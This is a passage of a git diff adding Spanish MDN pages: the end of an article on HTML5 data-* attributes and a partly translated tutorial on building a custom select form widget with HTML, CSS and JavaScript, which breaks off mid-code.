+<p><a href="/en-US/docs/Web/Guide/HTML/HTML5">HTML5</a> está diseñado de forma tal que sea fácil extender los datos asociados a un elemento en particular sin necesidad de que tengan un significado definido. Los atributos <a href="/en-US/docs/Web/HTML/Global_attributes#attr-dataset"><code>data-* </code></a> permiten almacenar información adicional sobre un elemento HTML cualquiera sin tener que recurrir a artilugios tales como la utilización de atributos no estándar, propiedades adicionales en el DOM o {{domxref("Node.setUserData()")}}.</p>
+
+<h2 id="Sintaxis_HTML">Sintaxis HTML</h2>
+
+<p>La sintáxis es simple. Un atributo cualquiera cuyo nombre comience con <code>data-</code>es un atributo de datos. Supongamos que tenemos un artículo y deseamos almacenar información adicional que no tiene ninguna representación visual. En ese caso, alcanza con que hagamos uso de los atributos <code>data</code>:</p>
+
+<pre class="brush: html notranslate">&lt;article
+  id="electriccars"
+  data-columns="3"
+  data-index-number="12314"
+  data-parent="cars"&gt;
+...
+&lt;/article&gt;</pre>
+
+<h2 id="Acceso_a_través_de_JavaScript">Acceso a través de JavaScript</h2>
+
+<p>Leer los valores de estos atributos en <a href="/en-US/docs/Web/JavaScript">JavaScript</a> también es muy sencillo. Puede usar {{domxref("Element.getAttribute", "getAttribute()")}} con su nombre HTML completo para leerlos, pero el estándar define una forma más simple: un {{domxref("DOMStringMap")}} puede leer a través de una propiedad {{domxref("HTMLElement.dataset", "dataset")}}.</p>
+
+<p>Para obtener un atributo <code>data</code> a través del <code>dataset</code> del objeto, obtenga la propiedad por la parte del nombre del atributo despues de <code>data-</code> (tenga en cuenta que los guiones son convertidos en camelCase).</p>
+
+<pre class="brush: js notranslate">var article = document.getElementById('electriccars');
+
+article.dataset.columns // "3"
+article.dataset.indexNumber // "12314"
+article.dataset.parent // "cars"</pre>
+
+<p>Cada propiedad es una cadena y se puede leer y escribir. En el caso anterior, establecer <code>article.dataset.columns = 5</code> cambiaría ese atributo a <code>"5"</code>.</p>
+
+<h2 id="Acceso_a_través_de_CSS">Acceso a través de CSS</h2>
+
+<p>Tenga en cuenta que, debido a que los atributos de datos son atributos simples de HTML, incluso puede acceder a ellos desde <a href="/en-US/docs/Web/CSS">CSS</a>. Por ejemplo, para mostrar los <code>data-parent</code> en el artículo, puede usar el <a href="/en-US/docs/Web/CSS/content">contenido generado</a> en CSS con la función {{cssxref("attr")}}:</p>
+
+<pre class="brush: css notranslate">article::before {
+  content: attr(data-parent);
+}</pre>
+
+<p>También puede usar los <a href="/en-US/docs/Web/CSS/Attribute_selectors">selectores de atributos</a> en CSS para cambiar los estilos de acuerdo a las priopiedades de datos:</p>
+
+<pre class="brush: css notranslate">article[data-columns='3'] {
+  width: 400px;
+}
+article[data-columns='4'] {
+  width: 600px;
+}</pre>
+
+<p>Puede ver todo esto trabajando junto <a href="http://jsbin.com/ujiday/2/edit">en este ejemplo de JSBin</a>.</p>
+
+<p>Los atributos de datos también se pueden almacenar para que contengan información que cambia constantemente, como los puntajes en un juego. Usando los selectores de CSS y el acceso a JavaScript aquí, esto le permite crear algunos efectos ingeniosos sin tener que escribir sus propias rutinas de visualización. Consulte <a href="http://www.youtube.com/watch?v=On_WyUB1gOk">este screencast</a> para ver un ejemplo utilizando contenido generado y transacciones CSS (<a href="http://jsbin.com/atawaz/3/edit">Ejemplo JSBin</a>).</p>
+
+<p>Los valores de datos son cadenas de caracteres. Los valores numéricos deben ser citados en el selector para que el estilo surta efecto.</p>
+
+<h2 id="Problemas">Problemas</h2>
+
+<p>No almacene el contenido que debería ser visible y accesible en los atributos de datos, ya que las tecnologías de asistencia, no pueden acceder a ellos. Ademas, los rastreadores de búsqueda no pueden indexar los valores de los atributos de datos.</p>
+
+<p>Los principales problemas a considerar son el soporte y rendimiento en Internet Explorer. Internet Explorer 11 y superiores, proporcionan soporte para el estándar, pero todas las versiones anteriores <a href="http://caniuse.com/#feat=dataset">no son compatibles con <code>dataset</code></a>. Para admitir IE 10 e inferiores, debe acceder a los atributos de datos con {{domxref("Element.getAttribute", "getAttribute()")}} en su lugar. Ademas, el <a href="http://jsperf.com/data-dataset">rendimiento de lectura de los atributos de datos</a> en comparación con el almacenamiento de estos datos en un objeto JS normal es deficiente.</p>
+
+<p>Dicho esto, sin embargo, para metadatos asociados a elementos personalizados, son una gran solución.</p>
+
+<p>En Firefox 49.0.2 (y quizás versiones anteriores), los atributos de datos que exceden los 1022 caracteres no serán leídos por Javascript (EcmaScript 4).</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Este artículo es una adaptación de <a href="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/" title="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/">Usando atributos de datos en JavaScript y CSS en hacks.mozilla.org</a>.</li>
+ <li>Los atributos personalizados también son compatibles en SVG 2; vea {{domxref("SVGElement.dataset")}} y {{SVGAttr("data-*")}} para más información.</li>
+ <li><a href="http://www.sitepoint.com/use-html5-data-attributes/">Cómo utilizar atributos de datos HTML5</a></li>
+</ul>
diff --git a/files/es/learn/html/forms/como_crear_widgets_de_formularios_personalizados/index.html b/files/es/learn/html/forms/como_crear_widgets_de_formularios_personalizados/index.html
new file mode 100644
index 0000000000..73ae6e6590
--- /dev/null
+++ b/files/es/learn/html/forms/como_crear_widgets_de_formularios_personalizados/index.html
@@ -0,0 +1,786 @@
+---
+title: Cómo crear widgets de formularios personalizados
+slug: Learn/HTML/Forms/como_crear_widgets_de_formularios_personalizados
+translation_of: Learn/Forms/How_to_build_custom_form_controls
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}</div>
+
+<p class="summary">Hay muchos casos donde los <a href="/en-US/docs/HTML/Forms/The_native_form_widgets" title="/en-US/docs/HTML/Forms/The_native_form_widgets">widgets de formularios HTML disponibles</a> simplemente no son suficientes. si desea <a href="/en-US/docs/Advanced_styling_for_HTML_forms" title="/en-US/docs/Advanced_styling_for_HTML_forms">establecer un estilo avanzado</a> en algunos widgets como el elemento {{HTMLElement("select")}} o si desea proporcionar comportamientos personalizados, no tiene más opción que crear sus propios widgets.</p>
+
+<p>En este aartículo, veremos cómo construir dicho widget. Para ello, trabajaremos con un ejemplo: Reconstruir el elemento {{HTMLElement("select")}}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Nos enfocaremos en construir los widgets, no en cómo hacer que el código sea genérico y reutilizable; eso implicaría algún código JavaScript no trivial y manipulación del DOM en un contexto desconocido, y eso está fuera del alcance de este artículo.</p>
+</div>
+
+<h2 id="Diseño_estructura_y_semántica">Diseño, estructura, y semántica</h2>
+
+<p>Antes de crear un widget personalizado, debería iniciar por averiguar exactamente qué es lo que desea. Esto le ahorarrá tiempo considerable. En particular, es importante definir claramente todos los estados de su widget. Para hacer esto, es bueno comenzar con un widget existente, cuyos estados y comportamientos son bien conocidos, por lo que simplemente puede imitarlos tanto como sea posible.</p>
+
+<p>En nuestro ejemplo, reconstruiremos el elemento {{HTMLElement("select")}}. Este es el resultado que queremos lograr:</p>
+
+<p><img alt="The three states of a select box" src="/files/4481/custom-select.png" style="height: 135px; width: 366px;"></p>
+
+<p>Esta captura de pantall muestra los tres estados principales de nuestro widget: el estado normal (a la izquiera); el estado activo (en el centro) y el estado abierto (a la derecha).</p>
+
+<p>En términos de comportamiento, queremos que nuestro widget sea utilizable tanto con un ratón como con un teclado, al igual que cualquier widget nativo. Comencemos por definir cómo el widget llega a cada estado:</p>
+
+<dl>
+ <dt>El widget está en su estado normal cuando:</dt>
+ <dd>
+ <ul>
+  <li>La página carga</li>
+  <li>El widget estaba activo y el usuario hace clic en cualquier lugar fuera del widget</li>
+  <li>El widget estaba activo y el usuario mueve el foco a otro widget usando el teclado</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Nota:</strong> Mover el foco al rededor de la página generalmente se hace presionando la tecla de tabulación, pero este no es el estándar en todas partes. Por ejemplo, el ciclo a través de enlaces en una página se realiza en Safari de forma predeterminada usando la combinación <a href="http://www.456bereastreet.com/archive/200906/enabling_keyboard_navigation_in_mac_os_x_web_browsers/" title="http://www.456bereastreet.com/archive/200906/enabling_keyboard_navigation_in_mac_os_x_web_browsers/">combinación Opction+Tab</a>.</p>
+ </div>
+ </dd>
+ <dt>El widget está en su estado activo cuando:</dt>
+ <dd>
+ <ul>
+  <li>El usuario hace clic en él</li>
+  <li>El usuario presiona la tecla tab y obtiene foco</li>
+  <li>El widget estaba en su estado abierto y el usuario hace clic en el widget.</li>
+ </ul>
+ </dd>
+ <dt>El widget está en su estado abierto cuando:</dt>
+ <dd>
+ <ul>
+  <li>El widget está en cualquier otro estado diferente a abierto y el usuario hace clic en él.</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>Una vez que sabemos cómo cambiar los estados, es importante definir cómo cambiar el valor del widget:</p>
+
+<dl>
+ <dt>El valor cambia cuando:</dt>
+ <dd>
+ <ul>
+  <li>El usuario hace clic en una opción cuando el widget está en estado abierto</li>
+  <li>El usuario pulsa las teclas de flecha hacia arriba o hacia abajocuando el widget está en estado activo</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>Finalmente, definamos cómo se comportarán las opciones del widget:</p>
+
+<ul>
+ <li>Cuando se abre el widget, se resalta la opción seleccionada</li>
+ <li>Cuando el ratón está sobre una opción, la opción se resalta y la opción resaltada anteriormente vuelve a su estado normal</li>
+</ul>
+
+<p>Para los fines de nuestro ejemplo, nos detendremos con eso; sin embargo, si eres un lector cuidadoso, notarás que faltan algunos comportamientos. Por ejemplo, ¿qué crees que sucederá si el usuario pulsa la tecla de tabulación mientras el widget está en estado abierto? La respuesta es ... nada. OK, el comportamiento correcto parece obvio, pero el hecho es que, como no está definido en nuestras especificaciones, es muy fácil pasar por alto este comportamiento. Esto es especialmente cierto en un entorno de equipo cuando las personas que diseñan el comportamiento del widget son diferentes de las que lo implementan.</p>
+
+<p>Otro ejemplo divertido: ¿qué pasará si el usuario pulsa las teclas de flecha hacia arriba o hacia abajo mientras el widget está en estado abierto? Este es un poco más complicado. Si considera que el estado activo y el estado abierto son completamente diferentes, la respuesta es nuevamente "no pasará nada" porque no definimos ninguna interacción de teclado para el estado abierto. Por otro lado, si considera que el estado activo y el estado abierto se superponen un poco, el valor puede cambiar pero la opción definitivamente no se resaltará en consecuencia, una vez más porque no definimos ninguna interacción del teclado sobre las opciones cuando el widget es en su estado abierto (solo hemos definido lo que debería suceder cuando se abre el widget, pero nada después de eso).</p>
+
+<p>En nuestro ejemplo, las especificaciones faltantes son obvias, así que las manejaremos, pero puede ser un problema real en widgets nuevos y exóticos, para los cuales nadie tiene la menor idea de cuál es el comportamiento correcto. Por lo tanto, siempre es bueno pasar tiempo en esta etapa de diseño, porque si defines un comportamiento deficiente u olvidas definir uno, será muy difícil redefinirlo una vez que los usuarios se hayan acostumbrado. Si tiene dudas, solicite las opiniones de los demás y, si tiene el presupuesto para ello, no dude en realizar las pruebas de usuario. Este proceso se llama Diseño UX. Si desea obtener más información sobre este tema, debe consultar los siguientes recursos útiles:</p>
+
+<ul>
+ <li><a href="http://www.uxmatters.com/" rel="external" title="http://www.uxmatters.com/">UXMatters.com</a></li>
+ <li><a href="http://uxdesign.com/" rel="external" title="http://uxdesign.com/">UXDesign.com</a></li>
+ <li><a href="http://uxdesign.smashingmagazine.com/" rel="external" title="http://uxdesign.smashingmagazine.com/">The UX Design section of SmashingMagazine</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Nota: </strong>Ademas, en la mayoría de los sistemas hay una forma de abrir el elemento {{HTMLElement("select")}} para ver todas las opciones disponibles (esto es lo mismo que hacer clic en el elemento {{HTMLElement("select")}} con un ratón). Esto se logra con Alt+Flecha abajo en Windows y no fué implementado en nuestro ejemplo —pero sería facil hacerlo, ya que el mecanismo ya se implementó para el evento <code>clic</code>.</p>
+</div>
+
+<h3 id="Definiendo_la_estructura_y_semántica_HTML">Definiendo la estructura y semántica HTML</h3>
+
+<p>Ahora que se ha decidido la funcionalidad básica del widget, es hora de comenzar a construir nuestro widget. El primer paso es definir su estructura HTML y darle una semántica básica. Esto es lo que necesitamos para reconstruir un elemento {{HTMLElement("select")}}:</p>
+
+<pre class="brush: html">&lt;!-- Este es nuestro contenedor principal para nuestro widget.
+     El atributo tabindex es lo que permite al usuario enforcar el widget.
+     Veremos más adelante que es mejor configurarlo a través de JavaScript. --&gt;
+&lt;div class="select" tabindex="0"&gt;
+
+  &lt;!-- Este contenedor será usado para mostrar el valor actual del widget --&gt;
+  &lt;span class="value"&gt;Cherry&lt;/span&gt;
+
+  &lt;!-- Este contenedor contedrá todas las opciones disponibles para nuestro widget.
+       Como es una lista, tiene sentido usar el elemento ul. --&gt;
+  &lt;ul class="optList"&gt;
+    &lt;!-- Cada opción solo contiene el valor que se mostrará, veremos más tarde
+         cómo manejar el valor real que será enviado con el formulario de datos --&gt;
+    &lt;li class="option"&gt;Cherry&lt;/li&gt;
+    &lt;li class="option"&gt;Lemon&lt;/li&gt;
+    &lt;li class="option"&gt;Banana&lt;/li&gt;
+    &lt;li class="option"&gt;Strawberry&lt;/li&gt;
+    &lt;li class="option"&gt;Apple&lt;/li&gt;
+  &lt;/ul&gt;
+
+&lt;/div&gt;</pre>
+
+<p>Tenga en cuanta el uso de nombres de clases; estos identifican cada parte relevante independientemente de los elementos HTML subyacentes reales utilizados. Esto es importante para garantizar que no vinculamos nuestro CSS y JavaScript a una estructura HTML sólida, de modo que podamos realizar cambios despues en la implementación sin romper el código que usa el widget. Pro ejemplo, si desea implementar el equivalente del elemento {{HTMLElement("optgroup")}}.</p>
+
+<h3 id="Creating_the_look_and_feel_using_CSS">Creating the look and feel using CSS</h3>
+
+<p>Now that we have a structure, we can start designing our widget. The whole point of building this custom widget is to be able to style this widget exactly as we want. To that end, we will split our CSS work into two parts: the first part will be the CSS rules absolutely necessary to have our widget behave like a {{HTMLElement("select")}} element, and the second part will consist of the fancy styles used to make it look the way we want.</p>
+
+<h4 id="Required_styles">Required styles</h4>
+
+<p>The required styles are those necessary to handle the three states of our widget.</p>
+
+<pre class="brush: css">.select {
+  /* This will create a positioning context for the list of options */
+  position: relative;
+
+  /* This will make our widget become part of the text flow and sizable at the same time */
+  display : inline-block;
+}</pre>
+
+<p>We need an extra class <code>active</code> to define the look and feel of our widget when it is in its active state. Because our widget is focusable, we double this custom style with the {{cssxref(":focus")}} pseudo-class in order to be sure they will behave the same.</p>
+
+<pre class="brush: css">.select.active,
+.select:focus {
+  outline: none;
+
+  /* This box-shadow property is not exactly required, however it's so important to be sure
+     the active state is visible that we use it as a default value, feel free to override it. */
+  box-shadow: 0 0 3px 1px #227755;
+}</pre>
+
+<p>Now, let's handle the list of options:</p>
+
+<pre class="brush: css">/* The .select selector here is syntactic sugar to be sure the classes we define are
+   the ones inside our widget. */
+.select .optList {
+  /* This will make sure our list of options will be displayed below the value
+     and out of the HTML flow */
+  position : absolute;
+  top      : 100%;
+  left     : 0;
+}</pre>
+
+<p>We need an extra class to handle when the list of options is hidden. This is necessary in order to manage the differences between the active state and the open state that do not exactly match.</p>
+
+<pre class="brush: css">.select .optList.hidden {
+  /* This is a simple way to hide the list in an accessible way,
+     we will talk more about accessibility in the end */
+  max-height: 0;
+  visibility: hidden;
+}</pre>
+
+<h4 id="Beautification">Beautification</h4>
+
+<p>So now that we have the basic functionality in place, the fun can start. The following is just an example of what is possible, and will match the screenshot at the beginning of this article. However, you should feel free to experiment and see what you can come up with.</p>
+
+<pre class="brush: css">.select {
+  /* All sizes will be expressed with the em value for accessibility reasons
+     (to make sure the widget remains resizable if the user uses the
+     browser's zoom in a text-only mode). The computations are made
+     assuming 1em == 16px which is the default value in most browsers.
+     If you are lost with px to em conversion, try http://riddle.pl/emcalc/ */
+  font-size   : 0.625em; /* this (10px) is the new font size context for em value in this context */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  /* We need extra room for the down arrow we will add */
+  padding : .1em 2.5em .2em .5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : .2em solid #000; /* 2px */
+  border-radius : .4em; /* 4px */
+  box-shadow    : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  /* The first declaration is for browsers that do not support linear gradients.
+     The second declaration is because WebKit based browsers haven't unprefixed it yet.
+     If you want to support legacy browsers, try http://www.colorzilla.com/gradient-editor/ */
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  /* Because the value can be wider than our widget, we have to make sure it will not
+     change the widget's width */
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  vertical-align: top;
+
+  /* And if the content overflows, it's better to have a nice ellipsis. */
+  white-space  : nowrap;
+  text-overflow: ellipsis;
+}</pre>
+
+<p>We don't need an extra element to design the down arrow; instead, we're using the {{cssxref(":after")}} pseudo-element. However, it could also be implemented using a simple background image on the <code>select</code> class.</p>
+
+<pre class="brush: css">.select:after {
+  content : "▼"; /* We use the unicode caracter U+25BC; see http://www.utf8-chartable.de */
+  position: absolute;
+  z-index : 1; /* This will be important to keep the arrow from overlapping the list of options */
+  top     : 0;
+  right   : 0;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  height  : 100%;
+  width   : 2em;  /* 20px */
+  padding-top : .1em; /* 1px */
+
+  border-left  : .2em solid #000; /* 2px */
+  border-radius: 0 .1em .1em 0;  /* 0 1px 1px 0 */
+
+  background-color : #000;
+  color : #FFF;
+  text-align : center;
+}</pre>
+
+<p>Next, let's style the list of options:</p>
+
+<pre class="brush: css">.select .optList {
+  z-index : 2; /* We explicitly said the list of options will always overlap the down arrow */
+
+  /* this will reset the default style of the ul element */
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  /* This will ensure that even if the values are smaller than the widget,
+     the list of options will be as large as the widget itself */
+  min-width : 100%;
+
+  /* In case the list is too long, its content will overflow vertically
+     (which will add a vertical scrollbar automatically) but never horizontally
+     (because we haven't set a width, the list will adjust its width automatically.
+     If it can't, the content will be truncated) */
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+
+  border: .2em solid #000; /* 2px */
+  border-top-width : .1em; /* 1px */
+  border-radius: 0 0 .4em .4em; /* 0 0 4px 4px */
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4); /* 0 2px 4px */
+  background: #f0f0f0;
+}</pre>
+
+<p>For the options, we need to add a <code>highlight</code> class to be able to identify the value the user will pick (or has picked).</p>
+
+<pre class="brush: css">.select .option {
+  padding: .2em .3em; /* 2px 3px */
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}</pre>
+
+<p>So here's the result with our three states:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Basic state</th>
+   <th scope="col" style="text-align: center;">Active state</th>
+   <th scope="col" style="text-align: center;">Open state</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Basic_state",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}</td>
+   <td>{{EmbedLiveSample("Active_state",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}</td>
+   <td>{{EmbedLiveSample("Open_state",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}</td>
+  </tr>
+  <tr>
+   <td colspan="3" style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_1" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_1">Check out the source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Bring_your_widget_to_life_with_JavaScript">Bring your widget to life with JavaScript</h2>
+
+<p>Now that our design and structure are ready, we can write the JavaScript code to make the widget actually work.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> The following code is educational and should not be used as-is. Among many things, as we'll see, it is not future-proof and it will not work on legacy browsers. It also has redundant parts that should be optimized in production code.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> Creating reusable widgets is something that can be a bit tricky. The <a href="http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html" rel="external" title="http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html">W3C Web Component draft</a> is one of the answers to this specific issue. <a href="http://x-tags.org/" rel="external" title="http://x-tags.org/">The X-Tag project</a> is a test implementation of this specification; we encourage you to take a look at it.</p>
+</div>
+
+<h3 id="Why_isn't_it_working">Why isn't it working?</h3>
+
+<p>Before we start, it's important to remember something very important about JavaScript: inside a browser, <strong>it's an unreliable technology</strong>. When you are building custom widgets, you'll have to rely on JavaScript because it's a necessary thread to tie everything together. However, there are many cases in which JavaScript isn't able to run in the browser:</p>
+
+<ul>
+ <li>The user has turned off JavaScript: This is the most unusual case ever; very few people turn off JavaScript nowadays.</li>
+ <li>The script is not loading. This is one of the most common cases, especially in the mobile world where the network is not very reliable.</li>
+ <li>The script is buggy. You should always consider this possibility.</li>
+ <li>The script is in conflict with a third party script. This can happen with tracking scripts or any bookmarklets the user uses.</li>
+ <li>The script is in conflict with, or is affected by, a browser extension (such as Firefox's <a href="https://addons.mozilla.org/fr/firefox/addon/noscript/" rel="external" title="https://addons.mozilla.org/fr/firefox/addon/noscript/">NoScript</a> extension or Chrome's <a href="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn" rel="external" title="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn">NotScripts</a> extension).</li>
+ <li>The user is using a legacy browser, and one of the features you require is not supported. This will happen frequently when you make use of cutting-edge APIs.</li>
+</ul>
+
+<p>Because of these risks, it's really important to seriously consider what will happen if JavaScript isn't working. Dealing in detail with this issue is out of the scope of this article because it's closely linked to how you want to make your script generic and reusable, but we'll consider the basics of this in our example.</p>
+
+<p>In our example, if our JavaScript code isn't running, we'll fall back to displaying a standard {{HTMLElement("select")}} element. To achieve this, we need two things.</p>
+
+<p>First, we need to add a regular {{HTMLElement("select")}} element before each use of our custom widget. This is actually also required in order to be able to send data from our custom widget along with the rest of our form data; more about this later.</p>
+
+<pre class="brush: html">&lt;body class="no-widget"&gt;
+  &lt;form&gt;
+    &lt;select name="myFruit"&gt;
+      &lt;option&gt;Cherry&lt;/option&gt;
+      &lt;option&gt;Lemon&lt;/option&gt;
+      &lt;option&gt;Banana&lt;/option&gt;
+      &lt;option&gt;Strawberry&lt;/option&gt;
+      &lt;option&gt;Apple&lt;/option&gt;
+    &lt;/select&gt;
+
+    &lt;div class="select"&gt;
+      &lt;span class="value"&gt;Cherry&lt;/span&gt;
+      &lt;ul class="optList hidden"&gt;
+        &lt;li class="option"&gt;Cherry&lt;/li&gt;
+        &lt;li class="option"&gt;Lemon&lt;/li&gt;
+        &lt;li class="option"&gt;Banana&lt;/li&gt;
+        &lt;li class="option"&gt;Strawberry&lt;/li&gt;
+        &lt;li class="option"&gt;Apple&lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/div&gt;
+  &lt;/form&gt;
+
+&lt;/body&gt;</pre>
+
+<p>Second, we need two new classes to let us hide the unneeded element (that is, the "real" {{HTMLElement("select")}} element if our script isn't running, or the custom widget if it is running). Note that by default, our HTML code hides our custom widget.</p>
+
+<pre class="brush: css">.widget select,
+.no-widget .select {
+  /* This CSS selector basically says:
+     - either we have set the body class to "widget" and thus we hide the actual {{HTMLElement("select")}} element
+     - or we have not changed the body class, therefore the body class is still "no-widget",
+       so the elements whose class is "select" must be hidden */
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}</pre>
+
+<p>Now we just need a JavaScript switch to determine if the script is running or not. This switch is very simple: if at page load time our script is running, it will remove the <code>no-widget</code> class and add the <code>widget</code> class, thereby swapping the visibility of the {{HTMLElement("select")}} element and of the custom widget.</p>
+
+<pre class="brush: js">window.addEventListener("load", function () {
+  document.body.classList.remove("no-widget");
+  document.body.classList.add("widget");
+});</pre>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Without JS</th>
+   <th scope="col" style="text-align: center;">With JS</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("No_JS",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_2")}}</td>
+   <td>{{EmbedLiveSample("JS",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_2")}}</td>
+  </tr>
+  <tr>
+   <td colspan="2" style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2">Check out the source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note:</strong> If you really want to make your code generic and reusable, instead of doing a class switch it's far better to just add the widget class to hide the {{HTMLElement("select")}} elements, and to dynamically add the DOM tree representing the custom widget after every {{HTMLElement("select")}} element in the page.</p>
+</div>
+
+<h3 id="Making_the_job_easier">Making the job easier</h3>
+
+<p>In the code we are about to build, we will use the standard DOM API to do all the work we need. However, although DOM API support has gotten much better in browsers, there are always issues with legacy browsers (especially with good old Internet Explorer).</p>
+
+<p>If you want to avoid trouble with legacy browsers, there are two ways to do so: using a dedicated framework such as <a href="http://jquery.com/" rel="external" title="http://jquery.com/">jQuery</a>, <a href="https://github.com/julienw/dollardom" rel="external" title="https://github.com/julienw/dollardom">$dom</a>, <a href="http://prototypejs.org/" rel="external" title="http://prototypejs.org/">prototype</a>, <a href="http://dojotoolkit.org/" rel="external" title="http://dojotoolkit.org/">Dojo</a>, <a href="http://yuilibrary.com/" rel="external" title="http://yuilibrary.com/">YUI</a>, or the like, or by polyfilling the missing feature you want to use (which can easily be done through conditional loading, with the <a href="http://yepnopejs.com/" rel="external" title="http://yepnopejs.com/">yepnope</a> library for example).</p>
+
+<p>The features we plan to use are the following (ordered from the riskiest to the safest):</p>
+
+<ol>
+ <li>{{domxref("element.classList","classList")}}</li>
+ <li>{{domxref("EventTarget.addEventListener","addEventListener")}}</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code> (This is not DOM but modern JavaScript)</li>
+ <li>{{domxref("element.querySelector","querySelector")}} and {{domxref("element.querySelectorAll","querySelectorAll")}}</li>
+</ol>
+
+<p>Beyond the availability of those specific features, there is still one issue remaining before starting. The object returned by the {{domxref("element.querySelectorAll","querySelectorAll()")}} function is a {{domxref("NodeList")}} rather than an <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code>. This is important because <code>Array</code> objects support the <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code> function, but {{domxref("NodeList")}} doesn't. Because {{domxref("NodeList")}} really looks like an <code>Array</code> and because <code>forEach</code> is so convenient to use, we can easily add the support of <code>forEach</code> to {{domxref("NodeList")}} in order to make our life easier, like so:</p>
+
+<pre class="brush: js">NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}</pre>
+
+<p>We weren't kidding when we said it's easy to do.</p>
+
+<h3 id="Building_event_callbacks">Building event callbacks</h3>
+
+<p>The ground is ready, we can now start to define all the functions that will be used each time the user interacts with our widget.</p>
+
+<pre class="brush: js">// This function will be used each time we want to deactivate a custom widget
+// It takes one parameter
+// select : the DOM node with the `select` class to deactivate
+function deactivateSelect(select) {
+
+  // If the widget is not active there is nothing to do
+  if (!select.classList.contains('active')) return;
+
+  // We need to get the list of options for the custom widget
+  var optList = select.querySelector('.optList');
+
+  // We close the list of option
+  optList.classList.add('hidden');
+
+  // and we deactivate the custom widget itself
+  select.classList.remove('active');
+}
+
+// This function will be used each time the user wants to (de)activate the widget
+// It takes two parameters:
+// select : the DOM node with the `select` class to activate
+// selectList : the list of all the DOM nodes with the `select` class
+function activeSelect(select, selectList) {
+
+  // If the widget is already active there is nothing to do
+  if (select.classList.contains('active')) return;
+
+  // We have to turn off the active state on all custom widgets
+  // Because the deactivateSelect function fulfill all the requirement of the
+  // forEach callback function, we use it directly without using an intermediate
+  // anonymous function.
+  selectList.forEach(deactivateSelect);
+
+  // And we turn on the active state for this specific widget
+  select.classList.add('active');
+}
+
+// This function will be used each time the user wants to open/closed the list of options
+// It takes one parameter:
+// select : the DOM node with the list to toggle
+function toggleOptList(select) {
+
+  // The list is kept from the widget
+  var optList = select.querySelector('.optList');
+
+  // We change the class of the list to show/hide it
+  optList.classList.toggle('hidden');
+}
+
+// This function will be used each time we need to highlight an option
+// It takes two parameters:
+// select : the DOM node with the `select` class containing the option to highlight
+// option : the DOM node with the `option` class to highlight
+function highlightOption(select, option) {
+
+  // We get the list of all option available for our custom select element
+  var optionList = select.querySelectorAll('.option');
+
+  // We remove the highlight from all options
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  // We highlight the right option
+  option.classList.add('highlight');
+};</pre>
+
+<p>That's all you need in order to handle the various states of the custom widget.</p>
+
+<p>Next, we bind these functions to the appropriate events:</p>
+
+<pre class="brush: js">// We handle the event binding when the document is loaded.
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  // Each custom widget needs to be initialized
+  selectList.forEach(function (select) {
+
